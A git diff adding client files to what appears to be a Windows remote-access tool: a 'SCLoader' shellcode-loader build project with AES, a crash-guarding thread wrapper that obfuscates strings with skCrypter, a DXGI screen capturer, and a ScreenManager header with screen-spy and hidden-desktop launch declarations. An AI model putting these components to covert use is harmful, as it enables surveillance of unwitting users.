<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
<IntDir>$(Configuration)\loader</IntDir>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
<IntDir>$(Configuration)\loader</IntDir>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
<IntDir>$(Platform)\$(Configuration)\loader</IntDir>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
<IntDir>$(Platform)\$(Configuration)\loader</IntDir>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EntryPointSymbol>mainCRTStartup</EntryPointSymbol>
|
||||
<AdditionalOptions>/ignore:4099 %(AdditionalOptions)</AdditionalOptions>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>false</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;_CRT_SECURE_NO_WARNINGS;ECB=0;CTR=0;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
|
||||
<Optimization>MinSpace</Optimization>
|
||||
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||
<ExceptionHandling>false</ExceptionHandling>
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
<RuntimeTypeInfo>false</RuntimeTypeInfo>
|
||||
<FloatingPointModel>Fast</FloatingPointModel>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
<EntryPointSymbol>entry</EntryPointSymbol>
|
||||
<AdditionalOptions>/ignore:4099 %(AdditionalOptions)</AdditionalOptions>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>_DEBUG;_CONSOLE;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EntryPointSymbol>mainCRTStartup</EntryPointSymbol>
|
||||
<AdditionalOptions>/ignore:4099 %(AdditionalOptions)</AdditionalOptions>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>NDEBUG;_CONSOLE;_CRT_SECURE_NO_WARNINGS;ECB=0;CTR=0;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
|
||||
<Optimization>MinSpace</Optimization>
|
||||
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||
<ExceptionHandling>false</ExceptionHandling>
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
<RuntimeTypeInfo>false</RuntimeTypeInfo>
|
||||
<FloatingPointModel>Fast</FloatingPointModel>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
<EntryPointSymbol>entry</EntryPointSymbol>
|
||||
<AdditionalOptions>/ignore:4099 %(AdditionalOptions)</AdditionalOptions>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="..\common\aes.c" />
|
||||
<ClCompile Include="SimpleSCLoader.c" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="..\common\aes.h" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
30
client/SCLoader.vcxproj.filters
Normal file
30
client/SCLoader.vcxproj.filters
Normal file
@@ -0,0 +1,30 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="源文件">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="头文件">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="资源文件">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="SimpleSCLoader.c">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="..\common\aes.c">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="..\common\aes.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
4
client/SCLoader.vcxproj.user
Normal file
4
client/SCLoader.vcxproj.user
Normal file
@@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup />
|
||||
</Project>
|
||||
96
client/SafeThread.cpp
Normal file
96
client/SafeThread.cpp
Normal file
@@ -0,0 +1,96 @@
|
||||
#include "stdafx.h"
|
||||
#include "SafeThread.h"
|
||||
#include <stdexcept>
|
||||
#include <map>
|
||||
|
||||
// RoutineInfo 记录线程相关信息.
|
||||
typedef struct RoutineInfo {
|
||||
DWORD tid; // 线程ID
|
||||
|
||||
LPTHREAD_START_ROUTINE Func; // 线程函数
|
||||
LPVOID Param; // 线程参数
|
||||
|
||||
OnException Excep; // 异常处理函数
|
||||
LPVOID User; // 额外参数
|
||||
|
||||
std::string File; // 创建线程的文件
|
||||
int Line; // 文件行数
|
||||
std::string Name; // 函数名称
|
||||
bool Trace; // 追踪线程运行情况
|
||||
|
||||
} RoutineInfo;
|
||||
|
||||
DWORD HandleCppException(RoutineInfo& ri)
|
||||
{
|
||||
try {
|
||||
return ri.Func(ri.Param); // 调用实际线程函数
|
||||
} catch (const std::exception& e) {
|
||||
if (ri.Excep) {
|
||||
Mprintf("[%d] 捕获 C++ 异常: %s. [%s:%d]\n", ri.tid, e.what(), ri.File.c_str(), ri.Line);
|
||||
return ri.Excep(ri.User, ri.Param);
|
||||
}
|
||||
Mprintf("[%d] 捕获 C++ 异常: %s. 没有提供异常处理程序[%s:%d]!\n", ri.tid, e.what(), ri.File.c_str(), ri.Line);
|
||||
} catch (...) {
|
||||
if (ri.Excep) {
|
||||
Mprintf("[%d] 捕获未知 C++ 异常. [%s:%d]\n", ri.tid, ri.File.c_str(), ri.Line);
|
||||
return ri.Excep(ri.User, ri.Param);
|
||||
}
|
||||
Mprintf("[%d] 捕获未知 C++ 异常. 没有提供异常处理程序[%s:%d]!\n", ri.tid, ri.File.c_str(), ri.Line);
|
||||
}
|
||||
return 0xDEAD0002;
|
||||
}
|
||||
|
||||
DWORD HandleSEHException(RoutineInfo & ri)
|
||||
{
|
||||
__try {
|
||||
// 执行实际线程函数
|
||||
return HandleCppException(ri);
|
||||
} __except (EXCEPTION_EXECUTE_HANDLER) {
|
||||
if (ri.Excep) {
|
||||
Mprintf("[%d] 捕获硬件异常,线程不会崩溃. [%s:%d] Code=%08X\n", ri.tid, ri.File.c_str(), ri.Line, GetExceptionCode());
|
||||
return ri.Excep(ri.User, ri.Param);
|
||||
}
|
||||
Mprintf("[%d] 捕获硬件异常. 没有提供异常处理程序[%s:%d]! Code=%08X\n", ri.tid, ri.File.c_str(), ri.Line, GetExceptionCode());
|
||||
return 0xDEAD0001; // 返回错误状态
|
||||
}
|
||||
}
|
||||
|
||||
// 通用异常包装函数
|
||||
DWORD WINAPI ThreadWrapper(LPVOID lpParam)
|
||||
{
|
||||
RoutineInfo *ri = (RoutineInfo *)lpParam;
|
||||
ri->tid = GetCurrentThreadId();
|
||||
RoutineInfo pRealThreadFunc = *ri;
|
||||
delete ri;
|
||||
|
||||
if (pRealThreadFunc.Trace) {
|
||||
CAutoLog Log(pRealThreadFunc.Name.c_str());
|
||||
// 异常捕获
|
||||
return HandleSEHException(pRealThreadFunc);
|
||||
}
|
||||
// 异常捕获
|
||||
return HandleSEHException(pRealThreadFunc);
|
||||
}
|
||||
|
||||
// 创建带异常保护的线程,记录创建线程的文件、行数和函数名称
|
||||
HANDLE CreateSafeThread(const char*file, int line, const char* fname, OnException excep, LPVOID user, SIZE_T dwStackSize,
|
||||
LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId)
|
||||
{
|
||||
|
||||
if (excep) assert(user); // 异常处理函数和参数必须同时提供
|
||||
if (excep && !user) {
|
||||
Mprintf("[ERROR] 提供了异常处理函数但 user 为 NULL, 拒绝创建线程[%s:%d]!\n", file, line);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
auto ri = new RoutineInfo{ 0, lpStartAddress, lpParameter, excep, user, file ? file : "", line, fname, dwStackSize == 0 };
|
||||
|
||||
HANDLE hThread = ::CreateThread(NULL, dwStackSize, ThreadWrapper, ri, dwCreationFlags, lpThreadId);
|
||||
if (!hThread) {
|
||||
Mprintf("[ERROR] 创建线程失败:GetLastError=%lu [%s:%d]\n", GetLastError(), file, line);
|
||||
delete ri;
|
||||
return NULL;
|
||||
}
|
||||
|
||||
return hThread;
|
||||
}
|
||||
17
client/SafeThread.h
Normal file
17
client/SafeThread.h
Normal file
@@ -0,0 +1,17 @@
|
||||
#pragma once
|
||||
#include "stdafx.h"
|
||||
#include "common/skCrypter.h"
|
||||
|
||||
typedef DWORD (*OnException)(LPVOID user, LPVOID param);
|
||||
|
||||
// 创建带异常保护的线程
|
||||
HANDLE CreateSafeThread(const char* file, int line, const char* fname, OnException excep, LPVOID user, SIZE_T dwStackSize,
|
||||
LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId);
|
||||
|
||||
#if USING_SAFETHRED
|
||||
#define __CreateThread(p1,p2,p3,p4,p5,p6) CreateSafeThread(skCrypt(__FILE__),__LINE__,skCrypt(#p3),p1,p2,0,p3,p4,p5,p6)
|
||||
#define __CreateSmallThread(p1,p2,p3,p4,p5,p6,p7) CreateSafeThread(skCrypt(__FILE__),__LINE__,skCrypt(#p4),p1,p2,p3,p4,p5,p6,p7)
|
||||
#else
|
||||
#define __CreateThread(p1,p2,p3,p4,p5,p6) CreateThread(nullptr,0,p3,p4,p5,p6)
|
||||
#define __CreateSmallThread(p1,p2,p3,p4,p5,p6,p7) CreateThread(nullptr,p3,p4,p5,p6,p7)
|
||||
#endif
|
||||
1116
client/ScreenCapture.h
Normal file
1116
client/ScreenCapture.h
Normal file
File diff suppressed because it is too large
Load Diff
314
client/ScreenCapturerDXGI.h
Normal file
314
client/ScreenCapturerDXGI.h
Normal file
@@ -0,0 +1,314 @@
|
||||
#pragma once
|
||||
#include "stdafx.h"
|
||||
#include "ScreenCapture.h"
|
||||
#include "common/commands.h"
|
||||
|
||||
// 只要你安装了 Windows 8 SDK 或更高版本的 Windows SDK,编译器就能找到 dxgi1_2.h 并成功编译。
|
||||
// 仅在 Windows 8 及更新版本上受支持
|
||||
#include <dxgi1_2.h>
|
||||
#include <d3d11.h>
|
||||
#include <common/iniFile.h>
|
||||
|
||||
#pragma comment(lib, "d3d11.lib")
|
||||
#pragma comment(lib, "dxgi.lib")
|
||||
|
||||
// author: ChatGPT
|
||||
// update: 962914132@qq.com
|
||||
// DXGI 1.2(IDXGIOutputDuplication)相比传统 GDI 截屏,性能提升通常在 3 倍到 10 倍之间,具体取决于硬件、分辨率和使用场景。
|
||||
class ScreenCapturerDXGI : public ScreenCapture
|
||||
{
|
||||
private:
|
||||
ID3D11Device* d3dDevice = nullptr;
|
||||
ID3D11DeviceContext* d3dContext = nullptr;
|
||||
IDXGIOutputDuplication* deskDupl = nullptr;
|
||||
ID3D11Texture2D* cpuTexture = nullptr;
|
||||
BYTE* m_NextBuffer = nullptr;
|
||||
|
||||
public:
|
||||
ScreenCapturerDXGI(BYTE algo, int gop = DEFAULT_GOP, BOOL all = FALSE) : ScreenCapture(32, algo, all)
|
||||
{
|
||||
m_GOP = gop;
|
||||
InitDXGI(all);
|
||||
Mprintf("Capture screen with DXGI: GOP= %d\n", m_GOP);
|
||||
}
|
||||
|
||||
~ScreenCapturerDXGI()
|
||||
{
|
||||
CleanupDXGI();
|
||||
|
||||
SAFE_DELETE_ARRAY(m_FirstBuffer);
|
||||
SAFE_DELETE_ARRAY(m_NextBuffer);
|
||||
SAFE_DELETE_ARRAY(m_RectBuffer);
|
||||
}
|
||||
|
||||
virtual BOOL UsingDXGI() const
|
||||
{
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
void InitDXGI(BOOL all)
|
||||
{
|
||||
m_iScreenX = 0;
|
||||
m_iScreenY = 0;
|
||||
// 1. 创建 D3D11 设备
|
||||
D3D11CreateDevice(nullptr, D3D_DRIVER_TYPE_HARDWARE, NULL, 0, nullptr, 0, D3D11_SDK_VERSION, &d3dDevice, nullptr, &d3dContext);
|
||||
|
||||
IDXGIFactory1* pFactory = nullptr;
|
||||
IDXGIAdapter1* dxgiAdapter = nullptr;
|
||||
IDXGIOutput* dxgiOutput = nullptr;
|
||||
IDXGIOutput1* dxgiOutput1 = nullptr;
|
||||
|
||||
// 2. 创建工厂
|
||||
CreateDXGIFactory1(__uuidof(IDXGIFactory1), (void**)&pFactory);
|
||||
if (!pFactory) return;
|
||||
|
||||
do {
|
||||
// 3. 获取设备
|
||||
static UINT idx = 0;
|
||||
idx = pFactory->EnumAdapters1(idx, &dxgiAdapter) == DXGI_ERROR_NOT_FOUND ? 0 : idx;
|
||||
if (!dxgiAdapter) pFactory->EnumAdapters1(idx, &dxgiAdapter);
|
||||
if (!dxgiAdapter)break;
|
||||
|
||||
// 4. 获取 DXGI 输出(屏幕)
|
||||
static UINT screen = 0;
|
||||
HRESULT r = dxgiAdapter->EnumOutputs(screen++, &dxgiOutput);
|
||||
if (r == DXGI_ERROR_NOT_FOUND && all) {
|
||||
screen = 0;
|
||||
idx ++;
|
||||
dxgiAdapter->Release();
|
||||
dxgiAdapter = nullptr;
|
||||
continue;
|
||||
}
|
||||
if (!dxgiOutput)break;
|
||||
|
||||
// 4.1 获取屏幕位置(多显示器支持)
|
||||
DXGI_OUTPUT_DESC outputDesc;
|
||||
if (SUCCEEDED(dxgiOutput->GetDesc(&outputDesc))) {
|
||||
m_iScreenX = outputDesc.DesktopCoordinates.left;
|
||||
m_iScreenY = outputDesc.DesktopCoordinates.top;
|
||||
}
|
||||
|
||||
// 5. 获取 DXGI 输出 1
|
||||
dxgiOutput->QueryInterface(__uuidof(IDXGIOutput1), (void**)&dxgiOutput1);
|
||||
if (!dxgiOutput1)break;
|
||||
|
||||
// 6. 创建 Desktop Duplication
|
||||
dxgiOutput1->DuplicateOutput(d3dDevice, &deskDupl);
|
||||
if (!deskDupl)break;
|
||||
|
||||
// 7. 获取屏幕大小
|
||||
DXGI_OUTDUPL_DESC duplDesc;
|
||||
deskDupl->GetDesc(&duplDesc);
|
||||
m_ulFullWidth = duplDesc.ModeDesc.Width;
|
||||
m_ulFullHeight = duplDesc.ModeDesc.Height;
|
||||
|
||||
// 8. 创建 CPU 访问纹理
|
||||
D3D11_TEXTURE2D_DESC desc = {};
|
||||
desc.Width = m_ulFullWidth;
|
||||
desc.Height = m_ulFullHeight;
|
||||
desc.MipLevels = 1;
|
||||
desc.ArraySize = 1;
|
||||
desc.Format = DXGI_FORMAT_B8G8R8A8_UNORM;
|
||||
desc.SampleDesc.Count = 1;
|
||||
desc.Usage = D3D11_USAGE_STAGING;
|
||||
desc.CPUAccessFlags = D3D11_CPU_ACCESS_READ;
|
||||
d3dDevice->CreateTexture2D(&desc, NULL, &cpuTexture);
|
||||
|
||||
// 9. 初始化 BITMAPINFO
|
||||
m_BitmapInfor_Full = ConstructBitmapInfo(32, m_ulFullWidth, m_ulFullHeight);
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
int strategy = cfg.GetInt("settings", "ScreenStrategy", 0);
|
||||
int maxWidth = cfg.GetInt("settings", "ScreenWidth", 0);
|
||||
m_BitmapInfor_Send = new BITMAPINFO(*m_BitmapInfor_Full);
|
||||
m_nInstructionSet = cfg.GetInt("settings", "CpuSpeedup", 0);
|
||||
|
||||
if (strategy == 1) {
|
||||
// strategy=1 或不支持缩放: 原始分辨率
|
||||
} else if (maxWidth > 0 && maxWidth < m_BitmapInfor_Send->bmiHeader.biWidth) {
|
||||
// maxWidth>0: 自定义 maxWidth,等比缩放(自适应质量使用)
|
||||
float ratio = (float)maxWidth / m_BitmapInfor_Send->bmiHeader.biWidth;
|
||||
m_BitmapInfor_Send->bmiHeader.biWidth = maxWidth;
|
||||
m_BitmapInfor_Send->bmiHeader.biHeight = (LONG)(m_BitmapInfor_Send->bmiHeader.biHeight * ratio);
|
||||
m_BitmapInfor_Send->bmiHeader.biSizeImage =
|
||||
((m_BitmapInfor_Send->bmiHeader.biWidth * m_BitmapInfor_Send->bmiHeader.biBitCount + 31) / 32) *
|
||||
4 * m_BitmapInfor_Send->bmiHeader.biHeight;
|
||||
} else {
|
||||
// strategy=0 或 maxWidth=0: 默认 1080p 限制
|
||||
m_BitmapInfor_Send->bmiHeader.biWidth = min(1920, m_BitmapInfor_Send->bmiHeader.biWidth);
|
||||
m_BitmapInfor_Send->bmiHeader.biHeight = min(1080, m_BitmapInfor_Send->bmiHeader.biHeight);
|
||||
m_BitmapInfor_Send->bmiHeader.biSizeImage =
|
||||
((m_BitmapInfor_Send->bmiHeader.biWidth * m_BitmapInfor_Send->bmiHeader.biBitCount + 31) / 32) *
|
||||
4 * m_BitmapInfor_Send->bmiHeader.biHeight;
|
||||
}
|
||||
// 10. 分配屏幕缓冲区
|
||||
m_FirstBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage + 1];
|
||||
m_NextBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage + 1];
|
||||
m_RectBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage * 2 + 12];
|
||||
m_BmpZoomBuffer = new BYTE[m_BitmapInfor_Send->bmiHeader.biSizeImage * 2 + 12];
|
||||
m_BmpZoomFirst = nullptr;
|
||||
|
||||
break;
|
||||
} while (true);
|
||||
|
||||
// 释放 DXGI 资源
|
||||
if (dxgiOutput1) dxgiOutput1->Release();
|
||||
if (dxgiOutput) dxgiOutput->Release();
|
||||
if (dxgiAdapter) dxgiAdapter->Release();
|
||||
if (pFactory) pFactory->Release();
|
||||
}
|
||||
|
||||
bool IsInitSucceed() const
|
||||
{
|
||||
return cpuTexture;
|
||||
}
|
||||
|
||||
void CleanupDXGI()
|
||||
{
|
||||
if (cpuTexture) cpuTexture->Release();
|
||||
if (deskDupl) deskDupl->Release();
|
||||
if (d3dContext) d3dContext->Release();
|
||||
if (d3dDevice) d3dDevice->Release();
|
||||
}
|
||||
|
||||
virtual LPBYTE scaleBitmap(LPBYTE target, LPBYTE bitmap) override
|
||||
{
|
||||
if (m_ulFullWidth == m_BitmapInfor_Send->bmiHeader.biWidth && m_ulFullHeight == m_BitmapInfor_Send->bmiHeader.biHeight) {
|
||||
memcpy(target, bitmap, m_BitmapInfor_Send->bmiHeader.biSizeImage);
|
||||
return bitmap;
|
||||
}
|
||||
return ScaleBitmap(target, (uint8_t*)bitmap, m_ulFullWidth, m_ulFullHeight, m_BitmapInfor_Send->bmiHeader.biWidth,
|
||||
m_BitmapInfor_Send->bmiHeader.biHeight, m_nInstructionSet);
|
||||
}
|
||||
|
||||
LPBYTE GetFirstScreenData(ULONG* ulFirstScreenLength) override
|
||||
{
|
||||
int ret = CaptureFrame(m_FirstBuffer, ulFirstScreenLength, 1);
|
||||
scaleBitmap(m_BmpZoomBuffer, m_FirstBuffer);
|
||||
memcpy(m_FirstBuffer, m_BmpZoomBuffer, m_BitmapInfor_Send->bmiHeader.biSizeImage);
|
||||
if (ret)
|
||||
return nullptr;
|
||||
if (m_bAlgorithm == ALGORITHM_GRAY) {
|
||||
ToGray(1 + m_RectBuffer, 1 + m_RectBuffer, m_BitmapInfor_Send->bmiHeader.biSizeImage);
|
||||
}
|
||||
m_FirstBuffer[0] = TOKEN_FIRSTSCREEN;
|
||||
return m_FirstBuffer;
|
||||
}
|
||||
|
||||
LPBYTE ScanNextScreen() override
|
||||
{
|
||||
ULONG ulNextScreenLength = 0;
|
||||
int ret = CaptureFrame(m_NextBuffer, &ulNextScreenLength, 0);
|
||||
scaleBitmap(m_BmpZoomBuffer, m_NextBuffer);
|
||||
memcpy(m_NextBuffer, m_BmpZoomBuffer, m_BitmapInfor_Send->bmiHeader.biSizeImage);
|
||||
if (ret)
|
||||
return nullptr;
|
||||
|
||||
return m_NextBuffer;
|
||||
}
|
||||
|
||||
virtual LPBYTE GetFirstBuffer() const
|
||||
{
|
||||
return m_FirstBuffer + 1;
|
||||
}
|
||||
|
||||
private:
|
||||
// 重新初始化 Desktop Duplication
|
||||
BOOL ReinitDuplication()
|
||||
{
|
||||
if (deskDupl) {
|
||||
deskDupl->Release();
|
||||
deskDupl = nullptr;
|
||||
}
|
||||
|
||||
if (!d3dDevice) return FALSE;
|
||||
|
||||
IDXGIDevice* dxgiDevice = nullptr;
|
||||
IDXGIAdapter* dxgiAdapter = nullptr;
|
||||
IDXGIOutput* dxgiOutput = nullptr;
|
||||
IDXGIOutput1* dxgiOutput1 = nullptr;
|
||||
|
||||
HRESULT hr = d3dDevice->QueryInterface(__uuidof(IDXGIDevice), (void**)&dxgiDevice);
|
||||
if (FAILED(hr)) return FALSE;
|
||||
|
||||
hr = dxgiDevice->GetAdapter(&dxgiAdapter);
|
||||
dxgiDevice->Release();
|
||||
if (FAILED(hr)) return FALSE;
|
||||
|
||||
hr = dxgiAdapter->EnumOutputs(0, &dxgiOutput);
|
||||
dxgiAdapter->Release();
|
||||
if (FAILED(hr)) return FALSE;
|
||||
|
||||
hr = dxgiOutput->QueryInterface(__uuidof(IDXGIOutput1), (void**)&dxgiOutput1);
|
||||
dxgiOutput->Release();
|
||||
if (FAILED(hr)) return FALSE;
|
||||
|
||||
Sleep(100);
|
||||
|
||||
hr = dxgiOutput1->DuplicateOutput(d3dDevice, &deskDupl);
|
||||
dxgiOutput1->Release();
|
||||
|
||||
return SUCCEEDED(hr) && deskDupl;
|
||||
}
|
||||
int CaptureFrame(LPBYTE buffer, ULONG* frameSize, int reservedBytes)
|
||||
{
|
||||
if (!deskDupl) {
|
||||
if (!ReinitDuplication()) return -10;
|
||||
}
|
||||
|
||||
// 1. 获取下一帧
|
||||
IDXGIResource* desktopResource = nullptr;
|
||||
DXGI_OUTDUPL_FRAME_INFO frameInfo;
|
||||
HRESULT hr = deskDupl->AcquireNextFrame(100, &frameInfo, &desktopResource);
|
||||
// 处理全屏切换导致的访问丢失
|
||||
if (hr == DXGI_ERROR_ACCESS_LOST) {
|
||||
if (ReinitDuplication()) {
|
||||
hr = deskDupl->AcquireNextFrame(100, &frameInfo, &desktopResource);
|
||||
}
|
||||
}
|
||||
|
||||
if (FAILED(hr)) {
|
||||
return -1;
|
||||
}
|
||||
|
||||
// 2. 获取 ID3D11Texture2D
|
||||
ID3D11Texture2D* texture = nullptr;
|
||||
hr = desktopResource->QueryInterface(__uuidof(ID3D11Texture2D), (void**)&texture);
|
||||
if (FAILED(hr)) {
|
||||
deskDupl->ReleaseFrame();
|
||||
return -2;
|
||||
}
|
||||
|
||||
// 3. 复制到 CPU 纹理
|
||||
d3dContext->CopyResource(cpuTexture, texture);
|
||||
|
||||
// 4. 释放 DXGI 资源
|
||||
deskDupl->ReleaseFrame();
|
||||
texture->Release();
|
||||
desktopResource->Release();
|
||||
|
||||
// 5. 读取纹理数据
|
||||
D3D11_MAPPED_SUBRESOURCE mapped;
|
||||
hr = d3dContext->Map(cpuTexture, 0, D3D11_MAP_READ, 0, &mapped);
|
||||
if (FAILED(hr)) {
|
||||
return -3;
|
||||
}
|
||||
|
||||
// 6. 复制数据到缓冲区(垂直翻转)
|
||||
BYTE* pData = (BYTE*)mapped.pData;
|
||||
int rowSize = m_ulFullWidth * 4; // 每行的字节数(RGBA)
|
||||
|
||||
BYTE* dest = buffer + reservedBytes + (m_ulFullHeight - 1) * rowSize;
|
||||
BYTE* src = pData;
|
||||
for (int y = 0; y < m_ulFullHeight; y++) {
|
||||
memcpy(dest, src, rowSize);
|
||||
dest -= rowSize;
|
||||
src += mapped.RowPitch;
|
||||
}
|
||||
|
||||
// 7. 清理
|
||||
d3dContext->Unmap(cpuTexture, 0);
|
||||
|
||||
*frameSize = m_ulFullWidth * m_ulFullHeight * 4;
|
||||
return 0;
|
||||
}
|
||||
};
|
||||
2627
client/ScreenManager.cpp
Normal file
2627
client/ScreenManager.cpp
Normal file
File diff suppressed because it is too large
Load Diff
124
client/ScreenManager.h
Normal file
124
client/ScreenManager.h
Normal file
@@ -0,0 +1,124 @@
|
||||
// ScreenManager.h: interface for the CScreenManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#if !defined(AFX_SCREENMANAGER_H__511DF666_6E18_4408_8BD5_8AB8CD1AEF8F__INCLUDED_)
|
||||
#define AFX_SCREENMANAGER_H__511DF666_6E18_4408_8BD5_8AB8CD1AEF8F__INCLUDED_
|
||||
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
|
||||
#include "Manager.h"
|
||||
#include "ScreenSpy.h"
|
||||
#include "ScreenCapture.h"
|
||||
|
||||
// WASAPI 前向声明 (COM 接口)
|
||||
struct IMMDevice;
|
||||
struct IAudioClient;
|
||||
struct IAudioCaptureClient;
|
||||
// WAVEFORMATEX 使用 void* 避免包含头文件
|
||||
|
||||
bool LaunchApplication(TCHAR* pszApplicationFilePath, TCHAR* pszDesktopName);
|
||||
|
||||
bool IsWindows8orHigher();
|
||||
|
||||
BOOL IsRunningAsSystem();
|
||||
